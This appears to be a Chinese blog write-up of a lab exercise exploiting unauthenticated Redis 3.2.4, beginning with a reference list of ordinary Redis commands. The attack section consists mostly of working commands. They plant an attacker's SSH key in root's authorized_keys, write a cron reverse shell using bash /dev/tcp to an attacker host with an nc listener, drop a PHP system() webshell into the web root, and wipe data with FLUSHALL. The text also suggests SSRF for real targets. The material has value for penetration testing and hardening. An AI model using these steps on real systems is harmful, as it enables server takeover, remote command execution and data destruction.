Redis利用小结

REDIS 远程利用

自己搭建的环境, 两台机器都是CENTOS7, REDIS版本是3.2.4. 其中REDIS-SERVER所在的主机IP是 10.1.1.212 , 攻击机是在 10.1.1.100。 但是REDIS在新版本中是默认允许远程连接的。 所以这里用 protected-mode no来模拟。 至于实际环境中可以用SSRF来利用。

0x00 REDIS 常用命令

redis 命令参考简体中文版

  1. 操作String。

    1
    2
    3
    4
    5
    set key value # 设置键值对
    GET key # 返回键对应的值.
    exists key # 判断键是否存在
    del key # 删除键
    strlen key # 返回key的长度
  2. 操作Hash

    1
    2
    3
    4
    5
    6
    7
    hset key field value # 将一个key的字段赋值
    hset person name "shinpachi8"
    hmset key field value field2 value2 # 对一个键多个字段同时赋值
    hgetall key # 返回key中所有字段的值。
    hexsits key field # 查看key中的field字段是否存在。
    hlen key # 返回哈希表 key 中的字段总数
    hdel key field [field] # 删除一个或多个字段
  3. 操作列表

    1
    2
    3
    4
    5
    lpush key value [value2] # 将 一个或多个值
    lpop key # 移出列表的第一个值并返回
    lrange key start stop # 返回指定范围内的元素
    llen key # 列表key 的长度
    lset key index value # 用下标来设置值
  4. 操作集合

    是string 的无序集合,集合成员是唯一的。 添加/删除/查找 的时间复杂度都是o(1)

    1
    2
    3
    4
    sadd key value1 [value2] # 向集合添加一个或多个值
    sdiff key1 key2 # 返回不同集合之间的差值
    spop key # 返回key中的一个随机值并删除它
    sunion key1 key2 # 返回并集
  5. redis 备份与恢复

    1
    2
    save # 保存文件
    bgsave # 在后台保存文件

    如果在恢复,只需要将备份文件(dump.rdb) 保存在redis安装目录并启动服务即可。

0x01 远程登录查看INFO

在这里可以长个心眼,如果版本在这之上的,还可以远程连接,有可能是蜜罐…

远程登录查看info

0x02 拿SHELL

  1. 通过写入 rsa的公钥来远程登录。

    其实也可以写入其他用户目录下,但是一般来说REDIS多用ROOT权限登录,直接写入/root/目录下可以省去猜用户的步骤

    • 生成rsa公私钥对。

      1
      ssh-keygen -t rsa
    • 将公钥写入 文件中

      1
      (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
    • 然后利用 redis-cli 的 管道技术将值设置进去, 然后再进入redis, 更改其配置文件与数据库名,保存。

      1
      2
      3
      4
      5
      $cat foo.txt | redis-cli -h 10.1.1.212 -x set crackredis
      $redis-cli -h 10.1.1.212 # 连接,以下操作在redis-cli 命令行中进行
      $10.1.1.212:6379> CONFIG SET dir /root/.ssh/
      $10.1.1.212:6379> CONFIG set dbfilename "authorized_keys"
      $10.1.1.212:6379> save
    • 然后用私钥连接目标即可。

      1
      ssh -i id_rsa root@10.1.1.212
  2. 通过写入 crontab (计划性任务) 来反弹 shell

    在测试时用 flush all 将数据删除,在实际中可以不用。或者先保存,再删除,之后再恢复。

    • 删除所有数据

      1
      2
      $10.1.1.212:6379> FLUSHALL
      $10.1.1.212:6379>exit
    • 用管道来将计划任务写入redis中, 或者之前不退出,直接写入。 其中 set 1 的意思是将内容的健设置为1,这样保证保存的时候在最前边。

      1
      2
      3
      4
      5
      echo "\n\n */1 * * * * bash -i >& /dev/tcp/10.1.1.100/2333 0>&1 \n\n" | redis-cli -h 10.1.1.212 -x set 1
      redis-cli -h 10.1.1.212
      $10.1.1.212:6379> CONFIG set dir /var/spool/cron
      $10.1.1.212:6379> CONFIG set dbfilename root
      $10.1.1.212:6379> save
    • 然后再本机监控 2333端口

      1
      nc -l -p 2333

监听的端口

  1. 写一个WEBSHELL。

    同样,在测试环境中,首先将所有的数据 flushall掉。

    • 直接登录

      1
      2
      3
      4
      5
      redis-cli -h 10.1.1.212
      10.1.1.212:6379> CONFIG SET dir /var/www/html/
      10.1.1.212:6379> CONFIG SET dbfilename "test.php"
      10.1.1.212:6379> set a "<?php system($_GET['cmd'])?>"
      10.1.1.212:6379> save
    • 浏览器访问

写webshell

  1. 写一个webshell

    这里不将数据 flushall, 这时候需要考虑的是在写入的键包含?> 或者 <? 可以破坏PHP结构的语句。 同时以防数据量过大超时。 可以将文件写成一个写入文件的shell。

    • 直接写入文件

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      redis-cli -h 10.1.1.212
      # 写入内容为:
      <?php
      set_time_limit(0);
      $fp=fopen("webshell.php","w");
      fwrite($fp,"<?php system($_GET['cmd'])?>");
      exit();
      ?>
      // 或者用file_put_contents()

      但是这个我在的实验环境中没有成功。

0x03 参考连接

  1. redis写shell的小技巧
  2. Redis 未授权访问配合 SSH key 文件利用分析
  3. 利用redis写webshell
文章目录
  1. 1. REDIS 远程利用
    1. 1.1. 0x00 REDIS 常用命令
    2. 1.2. 0x01 远程登录查看INFO
    3. 1.3. 0x02 拿SHELL
    4. 1.4. 0x03 参考连接
|